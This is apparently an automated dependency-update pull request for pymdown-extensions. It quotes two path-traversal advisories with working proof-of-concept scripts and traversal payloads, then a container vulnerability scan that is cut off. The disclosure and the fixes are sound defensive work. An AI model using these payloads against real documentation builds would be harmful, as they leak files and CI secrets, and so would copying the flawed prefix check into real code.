chore(deps): update dependency pymdown-extensions to v11 [security]

[renovate]

This PR contains the following updates:

Package	Update	Change	OpenSSF
pymdown-extensions	major	==10.16.1 → ==11.0

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

Regression in pymdownx.snippets reintroduces sibling-prefix path traversal bypass despite restrict_base_path

CVE-2026-46338 / GHSA-62q4-447f-wv8h / PYSEC-2026-2999

More information

Details

Summary

pymdownx.snippets has a regression of the CVE-2023-32309 / GHSA-jh85-wwv9-24hv fix. With restrict_base_path: True (the default), the current filename.startswith(base) containment check does not enforce a directory boundary. As a result, a markdown snippet directive can read files from sibling paths that share the same prefix as base_path, such as docs vs docs_internal.

The regression was introduced in PR #​2039 / commit 7c13bda5b7793b172efd1abb6712e156a83fe07d, which replaced the original directory-identity check with a plain string-prefix comparison.

Details

The regression was introduced in commit 7c13bda5b7793b172efd1abb6712e156a83fe07d (2023-05-15, #​2039 "Fix regression of snippets nested deeply under specified base path"), which relaxed the original os.path.samefile(base, os.path.dirname(filename)) check to a plain startswith(base).

SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py:

if self.restrict_base_path:
    filename = os.path.abspath(os.path.join(base, path))
    # If the absolute path is no longer under the specified base path, reject the file
    if not filename.startswith(base):
        continue

base is os.path.abspath(b) and has no trailing separator. str.startswith(base) is True for any filename whose string representation begins with the same characters as base, regardless of whether those characters end at a directory boundary.

Concrete example:

• base = "/x/docs"
• path = "../docs_secret/leak.txt" (inside the markdown snippet directive)
• os.path.join(base, path) → "/x/docs/../docs_secret/leak.txt"
• os.path.abspath(...) → "/x/docs_secret/leak.txt"
• filename.startswith(base) → True, because "/x/docs_secret/..." begins with the literal string "/x/docs".

All releases from 10.0.1 (2023-05-15) through 10.21.2 (current) are affected.

Impact

Arbitrary file read within the host the build runs on, bounded by the prefix match. With base_path = /x/docs the attacker can read files from any sibling directory whose path begins with the literal string /x/docs followed by any non-separator character — for example /x/docs_internal/, /x/docs.bak/, /x/docs2/.

The threat model is the same as the original CVE-2023-32309: markdown content processed by the snippets preprocessor in a build pipeline (typical scenario: an MkDocs documentation site built in CI from PR contributions or otherwise less-trusted markdown) can read files outside the configured base. CI builds that publish the generated HTML expose the read file to the public; CI builds with secrets on disk leak those secrets.

Reproduction

Minimal local PoC, non-destructive:

import os, shutil, tempfile, markdown

work = tempfile.mkdtemp(prefix="pmx_poc_")
try:
    base    = os.path.join(work, "docs")
    sibling = os.path.join(work, "docs_secret")
    os.makedirs(base)
    os.makedirs(sibling)
    with open(os.path.join(sibling, "leak.txt"), "w") as f:
        f.write("TOP_SECRET_FROM_SIBLING_DIR\n")

    out = markdown.markdown(
        '--8<-- "../docs_secret/leak.txt"\n',
        extensions=["pymdownx.snippets"],
        extension_configs={
            "pymdownx.snippets": {
                "base_path": [base],
                "restrict_base_path": True,
                "check_paths": True,
            }
        },
    )
    print(out)  # -> <p>TOP_SECRET_FROM_SIBLING_DIR</p>
finally:
    shutil.rmtree(work)

Default restrict_base_path: True is sufficient — no non-default option is required.

Suggested fix

Minimal change — require the separator after the base prefix:

-                        if not filename.startswith(base):
+                        # Append `os.sep` so a sibling directory whose name shares a prefix
+                        # (e.g. `/x/docs` vs `/x/docs_evil`) cannot satisfy the check.
+                        if not filename.startswith(base + os.sep):
                             continue

This preserves the original intent (allow snippets nested at any depth under base_path) while restoring the directory-boundary check. It does not affect the os.path.isdir(base) branch where base is a file (that branch still uses os.path.samefile).

Alternative: os.path.commonpath([base, filename]) == base is equivalent and slightly more idiomatic, though it raises ValueError on different drives on Windows and would need a try/except. The startswith(base + os.sep) fix is the smaller diff.

Note: this fix does not change behaviour for symlinks inside base_path. The existing implementation uses os.path.abspath (not os.path.realpath), so a symlink within base_path pointing outside is still followed. That is a separate concern — symlinks require write access to base_path, a much higher bar than the current bypass — and matches the behaviour the CVE-2023 fix established.

Regression test

A regression test class TestSnippetsSiblingPrefix was added in tests/test_extensions/test_snippets.py. It uses tests/test_extensions/_snippets/nested as base_path and a new fixture directory tests/test_extensions/_snippets/nested_sibling_evil/leak.txt. It asserts that the markdown directive --8<-- "../nested_sibling_evil/leak.txt" raises SnippetMissingError.

• Without fix: test fails (AssertionError: SnippetMissingError not raised, sibling file is silently read).
• With fix: test passes.

Full suite: python -m pytest tests/ -q → 738 passed (737 baseline + 1 new regression test). No regressions.

Affected versions

>= 10.0.1, <= 10.21.2

Severity

• CVSS Score: 4.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

• https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-62q4-447f-wv8h
• https://github.com/facelessuser/pymdown-extensions/pull/2039
• https://github.com/facelessuser/pymdown-extensions

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Regression in pymdownx.snippets reintroduces sibling-prefix path traversal bypass despite restrict_base_path

CVE-2026-46338 / GHSA-62q4-447f-wv8h / PYSEC-2026-2999

More information

Details

Summary

pymdownx.snippets has a regression of the CVE-2023-32309 / GHSA-jh85-wwv9-24hv fix. With restrict_base_path: True (the default), the current filename.startswith(base) containment check does not enforce a directory boundary. As a result, a markdown snippet directive can read files from sibling paths that share the same prefix as base_path, such as docs vs docs_internal.

The regression was introduced in PR #​2039 / commit 7c13bda5b7793b172efd1abb6712e156a83fe07d, which replaced the original directory-identity check with a plain string-prefix comparison.

Details

The regression was introduced in commit 7c13bda5b7793b172efd1abb6712e156a83fe07d (2023-05-15, #​2039 "Fix regression of snippets nested deeply under specified base path"), which relaxed the original os.path.samefile(base, os.path.dirname(filename)) check to a plain startswith(base).

SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py:

if self.restrict_base_path:
    filename = os.path.abspath(os.path.join(base, path))
    # If the absolute path is no longer under the specified base path, reject the file
    if not filename.startswith(base):
        continue

base is os.path.abspath(b) and has no trailing separator. str.startswith(base) is True for any filename whose string representation begins with the same characters as base, regardless of whether those characters end at a directory boundary.

Concrete example:

• base = "/x/docs"
• path = "../docs_secret/leak.txt" (inside the markdown snippet directive)
• os.path.join(base, path) → "/x/docs/../docs_secret/leak.txt"
• os.path.abspath(...) → "/x/docs_secret/leak.txt"
• filename.startswith(base) → True, because "/x/docs_secret/..." begins with the literal string "/x/docs".

All releases from 10.0.1 (2023-05-15) through 10.21.2 (current) are affected.

Impact

Arbitrary file read within the host the build runs on, bounded by the prefix match. With base_path = /x/docs the attacker can read files from any sibling directory whose path begins with the literal string /x/docs followed by any non-separator character — for example /x/docs_internal/, /x/docs.bak/, /x/docs2/.

The threat model is the same as the original CVE-2023-32309: markdown content processed by the snippets preprocessor in a build pipeline (typical scenario: an MkDocs documentation site built in CI from PR contributions or otherwise less-trusted markdown) can read files outside the configured base. CI builds that publish the generated HTML expose the read file to the public; CI builds with secrets on disk leak those secrets.

Reproduction

Minimal local PoC, non-destructive:

import os, shutil, tempfile, markdown

work = tempfile.mkdtemp(prefix="pmx_poc_")
try:
    base    = os.path.join(work, "docs")
    sibling = os.path.join(work, "docs_secret")
    os.makedirs(base)
    os.makedirs(sibling)
    with open(os.path.join(sibling, "leak.txt"), "w") as f:
        f.write("TOP_SECRET_FROM_SIBLING_DIR\n")

    out = markdown.markdown(
        '--8<-- "../docs_secret/leak.txt"\n',
        extensions=["pymdownx.snippets"],
        extension_configs={
            "pymdownx.snippets": {
                "base_path": [base],
                "restrict_base_path": True,
                "check_paths": True,
            }
        },
    )
    print(out)  # -> <p>TOP_SECRET_FROM_SIBLING_DIR</p>
finally:
    shutil.rmtree(work)

Default restrict_base_path: True is sufficient — no non-default option is required.

Suggested fix

Minimal change — require the separator after the base prefix:

-                        if not filename.startswith(base):
+                        # Append `os.sep` so a sibling directory whose name shares a prefix
+                        # (e.g. `/x/docs` vs `/x/docs_evil`) cannot satisfy the check.
+                        if not filename.startswith(base + os.sep):
                             continue

This preserves the original intent (allow snippets nested at any depth under base_path) while restoring the directory-boundary check. It does not affect the os.path.isdir(base) branch where base is a file (that branch still uses os.path.samefile).

Alternative: os.path.commonpath([base, filename]) == base is equivalent and slightly more idiomatic, though it raises ValueError on different drives on Windows and would need a try/except. The startswith(base + os.sep) fix is the smaller diff.

Note: this fix does not change behaviour for symlinks inside base_path. The existing implementation uses os.path.abspath (not os.path.realpath), so a symlink within base_path pointing outside is still followed. That is a separate concern — symlinks require write access to base_path, a much higher bar than the current bypass — and matches the behaviour the CVE-2023 fix established.

Regression test

A regression test class TestSnippetsSiblingPrefix was added in tests/test_extensions/test_snippets.py. It uses tests/test_extensions/_snippets/nested as base_path and a new fixture directory tests/test_extensions/_snippets/nested_sibling_evil/leak.txt. It asserts that the markdown directive --8<-- "../nested_sibling_evil/leak.txt" raises SnippetMissingError.

• Without fix: test fails (AssertionError: SnippetMissingError not raised, sibling file is silently read).
• With fix: test passes.

Full suite: python -m pytest tests/ -q → 738 passed (737 baseline + 1 new regression test). No regressions.

Affected versions

>= 10.0.1, <= 10.21.2

Severity

• CVSS Score: 4.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

• https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-62q4-447f-wv8h
• https://github.com/facelessuser/pymdown-extensions/pull/2039
• https://github.com/facelessuser/pymdown-extensions
• https://pypi.org/project/pymdown-extensions
• https://github.com/advisories/GHSA-62q4-447f-wv8h
• https://nvd.nist.gov/vuln/detail/CVE-2026-46338

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

CVE-2026-61632 / GHSA-9xwg-3r6f-jcx2

More information

Details

Summary

The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.

Details

In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):

if is_absolute:
    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely
else:
    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
    ext = os.path.splitext(file_name)[1].lower()
    for b64_ext in file_types:
        if ext in b64_ext:
            with open(file_name, "rb") as f:                    # opened with no containment check
                ...

There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.

PoC

Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.

import base64, os, shutil, tempfile, markdown

root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)

png = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
    "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
    f.write(png)

md = markdown.Markdown(
    extensions=["pymdownx.b64"],
    extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')

assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)

Output:

LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>

The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.

Impact

An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

Suggested fix

Resolve the real path and require it to stay within base_path before opening:

file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
    return m.group(0)  # leave the tag untouched; do not read outside base_path

The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

• https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-9xwg-3r6f-jcx2
• https://github.com/facelessuser/pymdown-extensions/commit/edce35586d11a1ef78bb187bc60497fe6dbf3b64
• https://github.com/facelessuser/pymdown-extensions
• https://github.com/facelessuser/pymdown-extensions/releases/tag/11.0

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

facelessuser/pymdown-extensions (pymdown-extensions)

v11.0

Compare Source

11.0

• BREAK: B64: Restricts relative links to base_path by default. Can be disabled by setting new restrict_path
  option to False. The new root_path can be specified if paths are desired to be restricted to a different
  location separate base_path which is also used as a relative base for image paths.
• NEW: Drop Python 3.9 support.
• FIX: Tabbed: Fix issue where an empty title would cause an exception.

v10.21.3

Compare Source

10.21.3

• FIX: Fix regression that allows a snippet to be loaded outside of the base path using directory traversal when
  restrict_base_path is enabled (the default). Found by @​gistrec.

v10.21.2: 10.21. 2

Compare Source

10.21.2

• FIX: Highlight: Latest Pygments versions cannot handle a "filename" for code block titles of None.

v10.21

10.21

• NEW: Caption: Add support for specifying not only IDs but classes and arbitrary attributes. Initial work by
  @​joapuiib.
• FIX: MagicLink: Fix a matching pattern for Bitbucket repo.

v10.20

Compare Source

10.20

• NEW: Quotes: New blockquotes extension added that uses a more modern approach when compared to Python Markdown's
  default. Quotes specifically will not group consecutive blockquotes together in the same lazy fashion that the
  default Python Markdown does which follows a more modern trend to how parsers these days handle block quotes.

  In addition, Quotes also provides an optional feature to enable specifying callouts/alerts in the style used by
  GitHub and Obsidian.

v10.19.1

Compare Source

10.19.1

• FIX: Arithmatex: Fix issue where block $$ math used inline within a paragraph could result in nested math
  parsing.

v10.19

Compare Source

10.19

• NEW: Emoji: Update Twemoji to use Unicode 16.
• NEW: Critic: Roll back view mode deprecation as some still like to use it, though further enhancements to this
  mode are not planned.

v10.18

Compare Source

10.18

• NEW: Critic: view mode has been deprecated. To avoid warnings or future issues, explicitly set mode to
  either accept or reject. In the future, the new default will be accept and the view mode will be removed
  entirely.
• FIX: Block Admonition: important should have always been available as a default.

v10.17.2

Compare Source

10.17.2

• FIX: Blocks: Blocks extensions will now better handle nesting of indented style Admonitions, Details, and Tabbed
  and other non-conflicting blocks.

v10.17.1

Compare Source

10.17.1

• FIX: Fix an issue where Highlight can override another extension in the "registered" list in Python Markdown.

v10.17

Compare Source

10.17

• NEW: Allow specifying static IDs in caption block headers via #id syntax.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[github-actions]

Overview

Image reference	djaytan/papermc-server:1.21.11	djaytan/papermc-server:test
- digest	5a306e36683d	0f5f372484a2
- tag	1.21.11	test
- stream	latest
- vulnerabilities
- platform	linux/amd64	linux/amd64
- size	82 MB	147 MB (+65 MB)
- packages	93	176 (+83)
Base Image	alpine:3 also known as: • 3.23 • latest	alpine:3 also known as: • 3.23 • latest
- vulnerabilities

Policies (1 improved, 1 worsened, 3 missing data)

Policy Name	djaytan/papermc-server:1.21.11	djaytan/papermc-server:test	Change	Standing
No unapproved base images	⚠️ 1	❓ No data
Default non-root user	✅	✅		No Change
No AGPL v3 licenses	✅	✅		No Change
No fixable critical or high vulnerabilities	⚠️ 63	⚠️ 59	-4	Improved
No high-profile vulnerabilities	✅	✅		No Change
No outdated base images	✅	❓ No data
SonarQube quality gates passed	❓ No data	❓ No data
Supply chain attestations	✅	⚠️ 2	+2	Worsened

Packages and Vulnerabilities (107 package changes and 13 vulnerability changes)

• ➕ 93 packages added
• ➖ 12 packages removed
• ♾️ 2 packages changed
• 76 packages unchanged

• ❗ 13 vulnerabilities added

Changes for packages of type apk (9 changes)

	Package	Version djaytan/papermc-server:1.21.11	Version djaytan/papermc-server:test
➕	alpine-base		3.23.3-r0
➕	ca-certificates		20251003-r0
➕	gcc		15.2.0-r2
♾️	libxml2	2.13.9-r1	2.13.9-r0
			Added vulnerabilities (1):
➕	ncurses		6.5_p20251123-r0
➕	openssl		3.5.5-r0
			Added vulnerabilities (22):
➕	pax-utils		1.3.8-r2
➕	xz		5.8.2-r0
			Added vulnerabilities (1):
♾️	xz-libs	5.8.3-r0	5.8.2-r0

Changes for packages of type generic (2 changes)

	Package	Version djaytan/papermc-server:1.21.11	Version djaytan/papermc-server:test
➕	openjdk		21.0.10
➖	openjdk	21.0.10

Changes for packages of type golang (20 changes)

	Package	Version djaytan/papermc-server:1.21.11	Version djaytan/papermc-server:test
➕	cuelabs.dev/go/oci/ociregistry		0.0.0-20250304105642-27e071d2c9b1
➖	cuelabs.dev/go/oci/ociregistry	0.0.0-20250304105642-27e071d2c9b1
➖	github.com/cenkalti/backoff/v5	5.0.3
➕	github.com/cenkalti/backoff/v5		5.0.3
➖	github.com/cespare/xxhash/v2	2.3.0
➕	github.com/cespare/xxhash/v2		2.3.0
➕	github.com/cockroachdb/apd/v3		3.2.1
➖	github.com/cockroachdb/apd/v3	3.2.1
➖	github.com/grpc-ecosystem/grpc-gateway/v2	2.27.7
➕	github.com/grpc-ecosystem/grpc-gateway/v2		2.27.7
➖	github.com/pelletier/go-toml/v2	2.2.4
➕	github.com/pelletier/go-toml/v2		2.2.4
➖	go.opentelemetry.io/contrib/instrumentation/runtime	0.65.0
➕	go.opentelemetry.io/contrib/instrumentation/runtime		0.65.0
➖	go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc	1.40.0
➕	go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc		1.40.0
➖	go.opentelemetry.io/otel/sdk/metric	1.40.0
➖	google.golang.org/genproto/googleapis/api	0.0.0-20260203192932-546029d2fa20
➕	google.golang.org/genproto/googleapis/rpc		0.0.0-20260203192932-546029d2fa20
➖	google.golang.org/genproto/googleapis/rpc	0.0.0-20260203192932-546029d2fa20

Changes for packages of type maven (76 changes)

	Package	Version djaytan/papermc-server:1.21.11	Version djaytan/papermc-server:test
➕	AutoRenamingTool/AutoRenamingTool		2.0.3
➕	ansi/ansi		1.1.1
➕	asm-utils/asm-utils		0.0.3
➕	cli-utils/cli-utils		2.1.4
➕	com.google.errorprone/error_prone_annotations		2.41.0
➕	com.google.guava/listenablefuture		9999.0-empty-to-avoid-conflict-with-guava
➕	com.google.j2objc/j2objc-annotations		3.1
➕	com.google.protobuf/protobuf-java		4.29.0
➕	com.googlecode.json-simple/json-simple		1.1.1
➕	com.lmax.disruptor/disruptor		3.4.4
➕	com.mysql/mysql-connector-j		9.2.0
➕	commons-codec/commons-codec		1.16.0
➕	commons-lang/commons-lang		2.6
			Added vulnerabilities (1):
➕	concurrentutil/concurrentutil		0.0.8
➕	examination-api/examination-api		1.3.0
➕	examination-string/examination-string		1.3.0
➕	gson-io/gson-io		2.0.17
➕	io.leangen.geantyref/geantyref		1.3.16
➕	io.netty/netty-codec-haproxy		4.2.7.Final
			Added vulnerabilities (4):
➕	io.papermc.paperclip.Main/papermc-server		1.21.11-69
➕	io.sigpipe/jbsdiff		1.0
➕	net.kyori.adventure.key/adventure-key		4.25.0
➕	net.kyori.adventure.text.logger.slf4j/adventure-text-logger-slf4j		4.25.0
➕	net.kyori.adventure.text.minimessage/adventure-text-minimessage		4.25.0
➕	net.kyori.adventure.text.serializer.ansi/adventure-text-serializer-ansi		4.25.0
➕	net.kyori.adventure.text.serializer.constant/adventure-text-serializer-commons		4.25.0
➕	net.kyori.adventure.text.serializer.gson/adventure-text-serializer-gson		4.25.0
➕	net.kyori.adventure.text.serializer.json/adventure-text-serializer-json		4.25.0
➕	net.kyori.adventure.text.serializer.legacy/adventure-text-serializer-legacy		4.25.0
➕	net.kyori.adventure.text.serializer.plain/adventure-text-serializer-plain		4.25.0
➕	net.kyori.adventure/adventure-api		4.25.0
➕	net.md-5/bungeecord-chat		1.21-R0.2
➕	net.minecrell.terminalconsole/terminalconsoleappender		1.3.0
➕	option/option		1.1.0
➕	org.apache.commons/commons-compress		1.5
			Added vulnerabilities (5):
➕	org.apache.httpcomponents/httpclient		4.5.14
➕	org.apache.httpcomponents/httpcore		4.4.16
➕	org.apache.logging.log4j/log4j-iostreams		2.24.1
➕	org.apache.maven.resolver/maven-resolver-api		1.9.18
➕	org.apache.maven.resolver/maven-resolver-connector-basic		1.9.18
➕	org.apache.maven.resolver/maven-resolver-impl		1.9.18
➕	org.apache.maven.resolver/maven-resolver-named-locks		1.9.18
➕	org.apache.maven.resolver/maven-resolver-spi		1.9.18
➕	org.apache.maven.resolver/maven-resolver-transport-http		1.9.18
➕	org.apache.maven.resolver/maven-resolver-util		1.9.18
➕	org.apache.maven/maven-artifact		3.9.6
➕	org.apache.maven/maven-builder-support		3.9.6
➕	org.apache.maven/maven-model		3.9.6
➕	org.apache.maven/maven-model-builder		3.9.6
➕	org.apache.maven/maven-repository-metadata		3.9.6
➕	org.apache.maven/maven-resolver-provider		3.9.6
➕	org.bukkit/paper-api		1.21.11-R0.1-SNAPSHOT
➕	org.codehaus.plexus/plexus-interpolation		1.26
➕	org.codehaus.plexus/plexus-utils		3.5.1
			Added vulnerabilities (1):
➕	org.eclipse.sisu/org.eclipse.sisu.inject		0.9.0.M2
➕	org.jline/jline-native		3.27.1
➕	org.jline/jline-reader		3.20.0
➕	org.jline/jline-terminal		3.27.1
➕	org.jline/jline-terminal-ffm		3.27.1
➕	org.jline/jline-terminal-jni		3.27.1
➕	org.objectweb.asm.commons/asm-commons		9.8
➕	org.objectweb.asm.tree/asm-tree		9.8
➕	org.objectweb.asm/asm		9.8
➕	org.slf4j/jcl-over-slf4j		1.7.36
➕	org.spongepowered.configurate.yaml/configurate-yaml		4.2.0
➕	org.spongepowered.configurate/configurate-core		4.2.0
➕	org.xerial/sqlite-jdbc		3.49.1.0
➕	org.yaml/snakeyaml		2.2
➕	reflection-rewriter-proxy-generator/reflection-rewriter-proxy-generator		0.0.3
➕	reflection-rewriter-runtime/reflection-rewriter-runtime		0.0.3
➕	reflection-rewriter/reflection-rewriter		0.0.3
➕	spark-api/spark-api		0.1-20240720.200737-2
➕	spark-paper/spark-paper		1.10.152
➕	spec/spec		2.0.17
➕	srgutils/srgutils		1.0.9
➕	velocity-native/velocity-native		3.4.0-SNAPSHOT

[github-actions]

🔍 Vulnerabilities of djaytan/papermc-server:test

📦 Image Reference djaytan/papermc-server:test

digest	sha256:0f5f372484a22afed7ef08e101d9f9db9264054f6c83797a46360ad761a3c8a1
vulnerabilities
platform	linux/amd64
size	147 MB
packages	176

📦 Base Image alpine:3

also known as	3.23 3.23.3 latest
digest	sha256:59855d3dceb3ae53991193bd03301e082b2a7faa56a514b03527ae0ec2ce3a95
vulnerabilities

openssl 3.5.5-r0 (apk) pkg:apk/alpine/openssl@3.5.5-r0?os_name=alpine&os_version=3.23 Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 0.225% EPSS Percentile 13th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.237% EPSS Percentile 15th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 2.719% EPSS Percentile 84th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.358% EPSS Percentile 28th percentile Description Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 0.755% EPSS Percentile 51st percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.297% EPSS Percentile 22nd percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.320% EPSS Percentile 24th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.684% EPSS Percentile 49th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.511% EPSS Percentile 41st percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.513% EPSS Percentile 41st percentile Description Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 0.981% EPSS Percentile 59th percentile Description Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 0.805% EPSS Percentile 53rd percentile Description Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 1.027% EPSS Percentile 60th percentile Description Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 1.059% EPSS Percentile 61st percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.196% EPSS Percentile 10th percentile Description Affected range <3.5.6-r0 Fixed version 3.5.6-r0 EPSS Score 0.435% EPSS Percentile 36th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.349% EPSS Percentile 27th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.595% EPSS Percentile 45th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.262% EPSS Percentile 18th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.210% EPSS Percentile 11th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.259% EPSS Percentile 18th percentile Description Affected range <3.5.7-r0 Fixed version 3.5.7-r0 EPSS Score 0.350% EPSS Percentile 28th percentile Description

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.13 Fixed version 1.24.13 EPSS Score 0.765% EPSS Percentile 52nd percentile Description During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake. Affected range <1.25.11 Fixed version 1.25.11 EPSS Score 0.560% EPSS Percentile 43rd percentile Description Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.798% EPSS Percentile 53rd percentile Description Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.588% EPSS Percentile 45th percentile Description The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0). Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.784% EPSS Percentile 52nd percentile Description Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.781% EPSS Percentile 52nd percentile Description When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0. Affected range <1.25.10 Fixed version 1.25.10 EPSS Score 0.813% EPSS Percentile 53rd percentile Description When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.621% EPSS Percentile 46th percentile Description If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.349% EPSS Percentile 27th percentile Description Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool. Affected range <1.25.9 Fixed version 1.25.9 EPSS Score 0.615% EPSS Percentile 46th percentile Description During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls. Affected range <1.25.8 Fixed version 1.25.8 EPSS Score 0.728% EPSS Percentile 50th percentile Description url.Parse insufficiently validated the host/authority component and accepted some invalid URLs. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.459% EPSS Percentile 37th percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.12 Fixed version 1.24.12 EPSS Score 1.945% EPSS Percentile 78th percentile Description The net/url package does not set a limit on the number of query parameters in a query. While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 